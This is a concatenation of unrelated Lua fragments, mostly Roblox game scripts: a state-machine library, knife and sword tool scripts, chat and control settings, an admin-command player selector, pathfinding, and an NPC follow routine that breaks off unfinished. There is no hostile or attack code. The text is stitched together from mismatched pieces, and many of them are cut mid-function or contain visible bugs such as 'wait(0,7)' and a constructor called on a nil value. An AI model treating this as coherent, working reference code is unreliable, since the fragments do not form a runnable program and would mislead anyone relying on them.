-- From https://github.com/unindented/lua-fsm/blob/master/src/fsm.lua --[[ Copyright (c) 2016 Daniel Perez Alvarez Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ]]
-- local Fsm = {} Fsm.WILDCARD = "*" Fsm.DEFERRED = 0 Fsm.SUCCEEDED = 1 Fsm.NO_TRANSITION = 2 Fsm.PENDING = 3 Fsm.CANCELLED = 4 local function do_callback(handler, args) if handler then return handler(unpack(args)) end end local function before_event(self, event, _, _, args) local specific = do_callback(self["on_before_" .. event], args) local general = do_callback(self["on_before_event"], args) if specific == false or general == false then return false end end local function leave_state(self, _, from, _, args) local specific = do_callback(self["on_leave_" .. from], args) local general = do_callback(self["on_leave_state"], args) if specific == false or general == false then return false end if specific == Fsm.DEFERRED or general == Fsm.DEFERRED then return Fsm.DEFERRED end end local function enter_state(self, _, _, to, args) do_callback(self["on_enter_" .. to] or self["on_" .. to], args) do_callback(self["on_enter_state"] or self["on_state"], args) end local function after_event(self, event, _, _, args) do_callback(self["on_after_" .. event] or self["on_" .. event], args) do_callback(self["on_after_event"] or self["on_event"], args) end local function build_transition(self, event, states) return function(...) local from = self.current local to = states[from] or states[Fsm.WILDCARD] or from local args = {self, event, from, to, ...} assert(not self.is_pending(), "previous transition still pending") assert(self.can(event), "invalid transition from state '" .. from .. "' with event '" .. event .. "'") local before = before_event(self, event, from, to, args) if before == false then return Fsm.CANCELLED end if from == to then after_event(self, event, from, to, args) return Fsm.NO_TRANSITION end self.confirm = function() self.confirm = nil self.cancel = nil self.current = to enter_state(self, event, from, to, args) after_event(self, event, from, to, args) return Fsm.SUCCEEDED end self.cancel = function() self.confirm = nil self.cancel = nil after_event(self, event, from, to, args) return Fsm.CANCELLED end local leave = leave_state(self, event, from, to, args) if leave == false then return Fsm.CANCELLED end if leave == Fsm.DEFERRED then return Fsm.PENDING end if self.confirm then return self.confirm() end end end function Fsm.create(cfg, target) local self = target or {} -- Initial state. local initial = cfg.initial -- Allow for a string, or a map like `{state = "foo", event = "setup"}`. initial = type(initial) == "string" and {state = initial} or initial -- Initial event. local initial_event = initial and initial.event or "startup" -- Terminal state. local terminal = cfg.terminal -- Events. local events = cfg.events or {} -- Callbacks. local callbacks = cfg.callbacks or {} -- Track state transitions allowed for an event. local states_for_event = {} -- Track events allowed from a state. local events_for_state = {} local function add(e) -- Allow wildcard transition if `from` is not specified. local from = type(e.from) == "table" and e.from or (e.from and {e.from} or {Fsm.WILDCARD}) local to = e.to local event = e.name states_for_event[event] = states_for_event[event] or {} for _, fr in ipairs(from) do events_for_state[fr] = events_for_state[fr] or {} table.insert(events_for_state[fr], event) -- Allow no-op transition if `to` is not specified. states_for_event[event][fr] = to or fr end end if initial then add({name = initial_event, from = "none", to = initial.state}) end for _, event in ipairs(events) do add(event) end for event, states in pairs(states_for_event) do self[event] = build_transition(self, event, states) end for name, callback in pairs(callbacks) do self[name] = callback end self.current = "none" function self.is(state) if type(state) == "table" then for _, s in ipairs(state) do if self.current == s then return true end end return false end return self.current == state end function self.can(event) local states = states_for_event[event] local to = states[self.current] or states[Fsm.WILDCARD] return to ~= nil end function self.cannot(event) return not self.can(event) end function self.transitions() return events_for_state[self.current] end function self.is_pending() return self.confirm ~= nil end function self.is_finished() return self.is(terminal) end if initial and not initial.defer then self[initial_event]() end return self end return Fsm
--// Positioning
RestPos = CFrame.new(0.41808939, 0, -0.0273852348, 0.704155862, -0.0188415907, 0.709795356, -0.314750254, 0.887783766, 0.335815758, -0.636472106, -0.459874928, 0.61920774); SprintPos = CFrame.new(0, 0, 0, 0.844756603, -0.251352191, 0.472449303, 0.103136979, 0.942750931, 0.317149073, -0.525118113, -0.219186768, 0.822318792);
--- Source: https://web.archive.org/web/20131225070434/http://snippets.luacode.org/snippets/Deep_Comparison_of_Two_Values_3
function CompareTable(t1,t2,ignore_mt) local ty1 = type(t1) local ty2 = type(t2) if ty1 ~= ty2 then return false end --- Non-table types can be directly compared if ty1 ~= 'table' and ty2 ~= 'table' then return t1 == t2 end --- As well as tables which have the metamethod __eq local mt = getmetatable(t1) if not ignore_mt and mt and mt.__eq then return t1 == t2 end for k1,v1 in pairs(t1) do local v2 = t2[k1] if v2 == nil or not CompareTable(v1,v2) then return false end end for k2,v2 in pairs(t2) do local v1 = t1[k2] if v1 == nil or not CompareTable(v1,v2) then return false end end return true end
---[[ Chat Behaviour Settings ]]
module.WindowDraggable = false module.WindowResizable = false module.ShowChannelsBar = false module.GamepadNavigationEnabled = false module.ShowUserOwnFilteredMessage = true --Show a user the filtered version of their message rather than the original.
--------------------- TEMPLATE BLADE WEAPON --------------------------- -- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local SLASH_DAMAGE = 150 local DOWNSTAB_DAMAGE = 150 local THROWING_DAMAGE = 150 local HOLD_TO_THROW_TIME = 0.38 local Damage = 100 local MyHumanoid = nil local MyTorso = nil local MyCharacter = nil local MyPlayer = nil local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local BlowConnection local Button1DownConnection local Button1UpConnection local PlayStabPunch local PlayDownStab local PlayThrow local PlayThrowCharge local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset local DebrisService = Game:GetService('Debris') local PlayersService = Game:GetService('Players') local SlashSound local HitPlayers = {} local LeftButtonDownTime = nil local Attacking = false function Blow(hit) if Attacking then BlowDamage(hit, Damage) end end function BlowDamage(hit, damage) local humanoid = hit.Parent:FindFirstChild('Humanoid') local player = PlayersService:GetPlayerFromCharacter(hit.Parent) if humanoid == nil then Handle.WallHit:Play() wait(0.1) if game.Workspace.Handle == nil then else game.Workspace.Handle:Destroy() end else if humanoid.Health == 0 then else Handle.Ragdoll:clone().Parent = hit.Parent humanoid.Health = 0 Handle.DeadPlayer:Play() Handle.DeadSound:Play() end wait(0.1) if game.Workspace.Handle == nil then else game.Workspace.Handle:Destroy() end end if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then if not MyPlayer.Neutral then -- Ignore teammates hit if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then return end end -- final check, make sure weapon is in-hand local rightArm = MyCharacter:FindFirstChild('Right Arm') if (rightArm ~= nil) then -- Check if the weld exists between the hand and the weapon local joint = rightArm:FindFirstChild('RightGrip') if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then -- Make sure you only hit them once per swing if player and not HitPlayers[player] then TagHumanoid(humanoid, MyPlayer) print("Sending " .. damage) humanoid:TakeDamage(damage) Handle.Splat.Volume = 1 Handle.Splat:Play() HitPlayers[player] = true end end end end end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new('ObjectValue') creatorTag.Value = player creatorTag.Name = 'creator' creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new('StringValue') weaponIconTag.Value = IconUrl weaponIconTag.Name = 'icon' weaponIconTag.Parent = creatorTag DebrisService:AddItem(weaponIconTag, 1.5) end function HardAttack() Handle.Attack:Play() if PlayStabPunch then PlayStabPunch.Value = true wait(1.0) PlayStabPunch.Value = false end end function NormalAttack() Damage = DOWNSTAB_DAMAGE KnifeDown() Handle.Attack:Play() if PlayDownStab then PlayDownStab.Value = true wait(1.0) PlayDownStab.Value = false end KnifeUp() end function ThrowAttack() KnifeOut() if PlayThrow then PlayThrow.Value = true wait(0.3) if not Handle then return end local throwingHandle = Handle:Clone() DebrisService:AddItem(throwingHandle, 5) throwingHandle.Parent = Workspace Handle.Throw:Play() if MyCharacter and MyHumanoid then throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 300 -- set the orientation to the direction it is being thrown in throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90)) local floatingForce = Instance.new('BodyForce', throwingHandle) floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0) local spin = Instance.new('BodyAngularVelocity', throwingHandle) spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0)) end Handle.Transparency = 1 -- Wait so that the knife has left the thrower's general area wait(0.08) if throwingHandle then local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end) end -- must check if it still exists since we waited if throwingHandle then throwingHandle.CanCollide = true end wait(0.6) if Handle and PlayThrow then Handle.Transparency = 0 PlayThrow.Value = false end end KnifeUp() end function KnifeUp() Tool.GripForward = Vector3.new(0, 0, -1) Tool.GripRight = Vector3.new(1, 0, 0) Tool.GripUp = Vector3.new(0, 1, 0) end function KnifeDown() Tool.GripForward = Vector3.new(0, 0, -1) Tool.GripRight = Vector3.new(1, 0, 0) Tool.GripUp = Vector3.new(0, -1, 0) end function KnifeOut() Tool.GripForward = Vector3.new(0, 0, -1) Tool.GripRight = Vector3.new(1, 0, 0) Tool.GripUp = Vector3.new(0, 1, 0) end Tool.Enabled = true function OnLeftButtonDown() LeftButtonDownTime = time() end function OnLeftButtonUp() if not Tool.Enabled then return end -- Reset the list of hit players every time we start a new attack HitPlayers = {} if PlayThrowCharge then PlayThrowCharge.Value = false end if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then Tool.Enabled = false local currTime = time() if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and currTime - LeftButtonDownTime < 1.15 then else Attacking = true if math.random(1, 2) == 1 then HardAttack() else NormalAttack() end Attacking = false end Tool.Enabled = true end end function OnRightButtonDown() RightButtonDownTime = time() if PlayThrowCharge then PlayThrowCharge.Value = true end end function OnRightButtonUp() if not Tool.Enabled then return end -- Reset the list of hit players every time we start a new attack HitPlayers = {} if PlayThrowCharge then PlayThrowCharge.Value = false end if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then Tool.Enabled = false local currTime = time() if RightButtonDownTime and currTime - RightButtonDownTime > HOLD_TO_THROW_TIME and currTime - RightButtonDownTime < 1.15 then ThrowAttack() else Attacking = true if math.random(1, 2) == 1 then else end Attacking = false end Tool.Enabled = true end end function OnEquipped(mouse) PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch') PlayDownStab = WaitForChild(Tool, 'PlayDownStab') PlayThrow = WaitForChild(Tool, 'PlayThrow') PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge') Handle.Equip:Play() BlowConnection = Handle.Touched:connect(Blow) MyCharacter = Tool.Parent MyTorso = MyCharacter:FindFirstChild('Torso') MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyPlayer = PlayersService.LocalPlayer if mouse then Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown) Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp) Button2DownConnection = mouse.Button2Down:connect(OnRightButtonDown) Button2UpConnection = mouse.Button2Up:connect(OnRightButtonUp) end KnifeUp() end function OnUnequipped() -- Unequip logic here if BlowConnection then BlowConnection:disconnect() BlowConnection = nil end if Button1DownConnection then Button1DownConnection:disconnect() Button1DownConnection = nil end if Button1UpConnection then Button1UpConnection:disconnect() Button1UpConnection = nil end if Button2UpConnection then Button2UpConnection:disconnect() Button2UpConnection = nil end if Button2DownConnection then Button2DownConnection:disconnect() Button2DownConnection = nil end MyHumanoid = nil end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped)
--and create the "Event.E" syntax stub. Really it's just a stub to construct a table which our Create --function can recognize as special.
t.Create.E = function(eventName) return {__eventname = eventName} end
-- Set up the event handlers for each button
for _, button in ipairs(buttons) do button.MouseEnter:Connect(function() onButtonEnter(button) end) button.MouseLeave:Connect(function() onButtonLeave(button) end) end
-- SOULDRAGON'S INSANAQUARIUM VERTICLE FISH MOVEMENT SCRIPT
hvr = script.Parent.Parent.Hover while true do hvr.position = Vector3.new(0,4,0) wait(1) hvr.position = Vector3.new(0,3,0) wait(2) hvr.position = Vector3.new(0,5,0) wait(4) hvr.position = Vector3.new(0,2,0) wait(1) end
--print("light loaded")
local light = script.Parent while true do light.Transparency = 1 wait(28.5) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(0.4) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(3) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(0.4) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(3) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(0.4) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(3) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(0.4) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(3) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(0.4) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(3) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(0.4) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(3) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(0.4) light.Transparency = 0 wait(0,7) light.Transparency = 1 wait(3) end
-------- OMG HAX
r = game:service("RunService") local damage = 0 local slash_damage = 0 sword = script.Parent.Handle Tool = script.Parent function attack() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() print("Running Copy") end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped)
---------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------- --//Server Animations ------//Idle Position
self.SV_GunPos = CFrame.new(-.3, -.2, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) self.SV_RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server self.SV_LeftArmPos = CFrame.new(1.15,0.25,-1.3) * CFrame.Angles(math.rad(-95),math.rad(20),math.rad(-25)) --server self.SV_RightElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) --Client self.SV_LeftElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) --Client self.SV_RightWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) --Client self.SV_LeftWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
-- Settings can be modified in lines 13-17 --=======================================--
local sm = Color3.fromRGB(100, 100, 100)--color of the messages local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join local welcomeMessageOn = true -- set to true to give a player a message when they join the game local joinMessage = " discovered us. Good day." -- will display as "[player] has joined."" local displayJoinMessage = true local leftMessage = " quit up." -- will display as "[player] has left." local displayLeaveMessage = true
--recoil data
local currentcspeed = 1.5 local recmult = 1 local rectime = 0.1 local recdampmult = 3 local recxamount = 10 local recyamount = 4 local reczamount = 15 local recoilcf = CFrame.new() local frametick = tick() local recoiltick = tick()
--// Explosive Settings
BlastPressue = 500000; BlastRadius = 10; DestroyJointRadius = 10; ExplosionType = Enum.ExplosionType.NoCraters; -- Might wanna leave it like this } return Settings
-- This default upgrader is going to turn whatever brick touches it, into a sword, at least the mesh part. --------------------
script.Parent.Upgrader.Touched:connect(function(Part) if Part:FindFirstChild("Cash") then Part.Cash.Value = Part.Cash.Value * 2 -- Try not to use * because if the game lags, parts may be worth millions each due to debounce if meshUpgrade == true then for i,v in pairs(Part:GetChildren())do if v:IsA("SpecialMesh") then v:remove() end end local m = Instance.new("SpecialMesh",Part) m.MeshId = Random m.TextureId = Random end end end)
-- Choose current Touch control module based on settings (user, dev) -- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable
function ControlModule:SelectTouchModule(): ({}?, boolean) if not UserInputService.TouchEnabled then return nil, false end local touchModule local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode] elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then return nil, true else touchModule = movementEnumToModuleMap[DevMovementMode] end return touchModule, true end local function calculateRawMoveVector(humanoid: Humanoid, cameraRelativeMoveVector: Vector3): Vector3 local camera = Workspace.CurrentCamera if not camera then return cameraRelativeMoveVector end if humanoid:GetState() == Enum.HumanoidStateType.Swimming then return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector) end local cameraCFrame = camera.CFrame if VRService.VREnabled and FFlagUserFlagEnableNewVRSystem and humanoid.RootPart then -- movement relative to VR frustum local cameraDelta = humanoid.RootPart.CFrame.Position - cameraCFrame.Position if cameraDelta.Magnitude < 3 then -- "nearly" first person local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head) cameraCFrame = cameraCFrame * vrFrame end end local c, s local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = cameraCFrame:GetComponents() if R12 < 1 and R12 > -1 then -- X and Z components from back vector. c = R22 s = R02 else -- In this case the camera is looking straight up or straight down. -- Use X components from right and up vectors. c = R00 s = -R01*math.sign(R12) end local norm = math.sqrt(c*c + s*s) return Vector3.new( (c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm, 0, (c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm ) end function ControlModule:OnRenderStepped(dt) if self.activeController and self.activeController.enabled and self.humanoid then -- Give the controller a chance to adjust its state self.activeController:OnRenderStepped(dt) -- Now retrieve info from the controller local moveVector = self.activeController:GetMoveVector() local cameraRelative = self.activeController:IsMoveVectorCameraRelative() local clickToMoveController = self:GetClickToMoveController() if self.activeController ~= clickToMoveController then if moveVector.magnitude > 0 then -- Clean up any developer started MoveTo path clickToMoveController:CleanupPath() else -- Get move vector for developer started MoveTo clickToMoveController:OnRenderStepped(dt) moveVector = clickToMoveController:GetMoveVector() cameraRelative = clickToMoveController:IsMoveVectorCameraRelative() end end -- Are we driving a vehicle ? local vehicleConsumedInput = false if self.vehicleController then moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad) end -- If not, move the player -- Verification of vehicleConsumedInput is commented out to preserve legacy behavior, -- in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat --if not vehicleConsumedInput then if cameraRelative then moveVector = calculateRawMoveVector(self.humanoid, moveVector) end self.moveFunction(Players.LocalPlayer, moveVector, false) --end -- And make them jump if needed self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping()) end end function ControlModule:OnHumanoidSeated(active: boolean, currentSeatPart: BasePart) if active then if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then if not self.vehicleController then self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY) end self.vehicleController:Enable(true, currentSeatPart) end else if self.vehicleController then self.vehicleController:Enable(false, currentSeatPart) end end end function ControlModule:OnCharacterAdded(char) self.humanoid = char:FindFirstChildOfClass("Humanoid") while not self.humanoid do char.ChildAdded:wait() self.humanoid = char:FindFirstChildOfClass("Humanoid") end self:UpdateTouchGuiVisibility() if self.humanoidSeatedConn then self.humanoidSeatedConn:Disconnect() self.humanoidSeatedConn = nil end self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart) self:OnHumanoidSeated(active, currentSeatPart) end) end function ControlModule:OnCharacterRemoving(char) self.humanoid = nil self:UpdateTouchGuiVisibility() end function ControlModule:UpdateTouchGuiVisibility() if self.touchGui then local doShow = self.humanoid and GuiService.TouchControlsEnabled self.touchGui.Enabled = not not doShow -- convert to bool end end
---------------------------------- ------------VARIABLES------------- ----------------------------------
User = nil Connector = game.Workspace:FindFirstChild("GlobalPianoConnector") if not Connector or not Connector:IsA("RemoteEvent") then error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.") end local SynthesiaKeys = Piano.Keys.Keys:GetChildren() local Important = Piano.Case.Desk.Important for i,v in pairs(SynthesiaKeys) do v.Transparency = 1 end local blocker = Piano.Case.Blocker blocker.Transparency = 1 blocker.CanCollide = false
-------------------------------------- -- List of named places in the game
local _places = { lobby = 0, gameplay_development = 0, queue_default = 0, queue_deathmatch = 0, queue_teamDeathmatch = 0, queue_freePlay = 0 }
-- << FUNCTIONS >>
function module:ParseQualifier(q, speaker, targetPlayers, takeExactIndName) targetPlayers = targetPlayers or {} local speakerData = main.pd[speaker] local firstChar = string.sub(q,1,1) local remainingChars = string.sub(q,2) local endLength = #remainingChars local individual = false if firstChar == "@" and string.sub(remainingChars, endLength-1, endLength) then remainingChars = string.sub(remainingChars, 1, endLength-1) end if q == "me" then targetPlayers[speaker] = true elseif q == "all" then for i, plr in pairs(main.players:GetChildren()) do targetPlayers[plr] = true end elseif q == "random" then targetPlayers[game.Players:GetChildren()[math.random(1,#game.Players:GetChildren())]] = true elseif q == "others" then for i, plr in pairs(main.players:GetChildren()) do if plr ~= speaker then targetPlayers[plr] = true end end elseif q == "admins" or q == "nonadmins" then for i, plr in pairs(main.players:GetChildren()) do local pdata = main.pd[plr] if pdata and ((q == "admins" and pdata.Rank > 0) or (q == "nonadmins" and pdata.Rank == 0)) then targetPlayers[plr] = true end end elseif q == "nbc" or q == "bc" or q == "tbc" or q == "obc" or q == "premium" or q == "prem" then for i, plr in pairs(main.players:GetChildren()) do if plr.MembershipType == memberships[q] then targetPlayers[plr] = true end end elseif q == "friends" or q == "nonfriends" then for i, plr in pairs(main.players:GetChildren()) do if (q == "friends" and speakerData.Friends[plr.Name]) or (q == "nonfriends" and not speakerData.Friends[plr.Name] and plr ~= speaker) then targetPlayers[plr] = true end end elseif q == "r6" or q == "r15" then for i, plr in pairs(main.players:GetChildren()) do local humanoid = main:GetModule("cf"):GetHumanoid(plr) if humanoid and ((q == "r6" and humanoid.RigType == Enum.HumanoidRigType.R6) or (q == "r15" and humanoid.RigType == Enum.HumanoidRigType.R15)) then targetPlayers[plr] = true end end elseif q == "rthro" or q == "nonrthro" then for i, plr in pairs(main.players:GetChildren()) do local humanoid = main:GetModule("cf"):GetHumanoid(plr) if humanoid then local bts = humanoid:FindFirstChild("BodyTypeScale") if bts and ((q == "rthro" and bts.Value > 0.9) or (q == "nonrthro" and bts.Value <= 0.9)) then targetPlayers[plr] = true end end end elseif firstChar == "@" then -- Select Rank local selectedRanks = {} local count = 0 for _, rankDetails in pairs(main.settings.Ranks) do local rankId = tostring(rankDetails[1]) local rankName = string.lower(rankDetails[2]) if string.sub(rankName, 1, #remainingChars) == remainingChars then selectedRanks[rankId] = true count = count + 1 end end if count > 0 then for i, plr in pairs(main.players:GetChildren()) do local pdata = main.pd[plr] if pdata and selectedRanks[tostring(pdata.Rank)] then targetPlayers[plr] = true end end end elseif firstChar == "%" then -- Select Team local selectedTeams = {} local count = 0 for _,team in pairs(main.teams:GetChildren()) do local teamName = string.lower(team.Name) if string.sub(teamName, 1, #remainingChars) == remainingChars then selectedTeams[tostring(team.TeamColor)] = true count = count + 1 end end if count > 0 then for i, plr in pairs(main.players:GetChildren()) do if selectedTeams[tostring(plr.TeamColor)] then targetPlayers[plr] = true end end end else -- Individual individual = true if takeExactIndName then targetPlayers[q] = true else for i, plr in pairs(main.players:GetChildren()) do local plrName = string.lower(plr.Name) if string.sub(plrName, 1, #q) == q then targetPlayers[plr] = true end end end end local targetPlayersArray = {} for plr, _ in pairs(targetPlayers) do table.insert(targetPlayersArray, plr) end return targetPlayers, targetPlayersArray, individual end function module:GetTargetPlayers(speaker, args, originalArgs, commandPrefix, commandPrefixes, commandName, individual) local qArg = args[1] local targetPlayers = {} local qBatches = {} local qUsed = {} local speakerData = main.pd[speaker] local qualifierPresent = false if qArg and type(qArg) ~= "userdata" and type(qArg) ~= "number" then qualifierPresent = true end if not qualifierPresent and commandPrefix == main.settings.UniversalPrefix then table.insert(args, 1, "me") qArg = "me" qualifierPresent = true end if qualifierPresent then qArg:gsub('([^'..settings.QualifierBatchKey..']+)',function(c) table.insert(qBatches, c) end); table.remove(args, 1) end for _, q in pairs(qBatches) do qUsed[q] = true targetPlayers = module:ParseQualifier(q, speaker, targetPlayers) end --Check if player is selecting more than 1 person and modify based on their rank local ignoreSingleUse = {["view"] = true, ["handto"] = true;} if not ignoreSingleUse[commandName] then local totalPlrs = 0 for plr, _ in pairs(targetPlayers) do totalPlrs = totalPlrs + 1 end local onlyMe = true for i,v in pairs(qBatches) do if v ~= "me" then onlyMe = false end end local speakerRankName = main:GetModule("cf"):GetRankName(speakerData.Rank) if individual and totalPlrs > 0 then for plr,_ in pairs(targetPlayers) do return plr end elseif speakerData.Rank < 2 and not onlyMe then main:GetModule("cf"):FormatAndFireError(speaker, "QualifierLimitToSelf", speakerRankName) targetPlayers = {} elseif speakerData.Rank < 3 and totalPlrs > 1 then main:GetModule("cf"):FormatAndFireError(speaker, "QualifierLimitToOnePerson", speakerRankName) targetPlayers = {} end end --Check Universal Prefix and adjust arguments accordingly --if commandPrefix == main.settings.UniversalPrefix or (main:GetModule("cf"):FindValue(commandPrefixes, main.settings.UniversalPrefix) and qArg == nil) then if #originalArgs == 0 then targetPlayers = {} targetPlayers[speaker] = true end return targetPlayers end return module
-- have problems with pausing and playing --
music.Name = "Player" -- This determines the name of the source of Audio. Name it whatever you want.
--[=[ @class Symbol Symbols are simply unique objects that can be used as unique identifiers. ]=]
local Symbol = {} Symbol.__index = Symbol
-- -- local targetOffsetVector = (lastTargetPos - target) -- if targetOffsetVector.magnitude < math.huge then -- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1) -- end
if targetOffset > TargetOffsetMax then --if targetOffsetVector.magnitude > TargetOffsetMax then --print("moveto") local startPoint = character.HumanoidRootPart.Position local humanoidState = character.Humanoid:GetState() if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then --print("this") local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPart then startPoint = hitPoint end end --print("making new path") local newTarget = target local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPoint then if (hitPoint - target).magnitude > 4 then newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0) end end --local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0) path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500) if path.Status ~= Enum.PathStatus.Success then --print(tostring(path.Status)) end --path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)
--- Alias of Registry:GetStore(...)
function Command:GetStore(...) return self.Dispatcher.Cmdr.Registry:GetStore(...) end
----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------
dist=20 function followany() following=true while following==true do local ch=game.Players:children() for i=1, #ch do local l=game.Workspace:findFirstChild(ch[i].Name) if l~=nil then local s=l.Torso local p=l.Torso.Position local q=script.Parent.Torso.Position local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) ) if smallest==nil then smallest=d target=s elseif d<smallest then smallest=d target=s end end end if smallest==nil then stopmoving() return end if smallest>6*dist then return end script.Parent.Humanoid:MoveTo(target.Position, target) wait(0.5) for i=1, 6 do if target.Parent.Humanoid.Health<1 then stopmoving() else wait(0.5) end end end end function gohome() script.Parent.Humanoid:MoveTo(Vector3.new(0,0,0), game.Workspace.Bases.Base) end function stopmoving() script.Parent.Humanoid:MoveTo(script.Parent.Torso.Position, script.Parent.Torso) end function follow(name) following=true local p=game.Workspace:findFirstChild(name) if p==nil then return end while following==true do script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso) wait(0.5) for i=1, 3 do if p.Humanoid.Health<1 then following=false; stopmoving() return end wait(0.5) 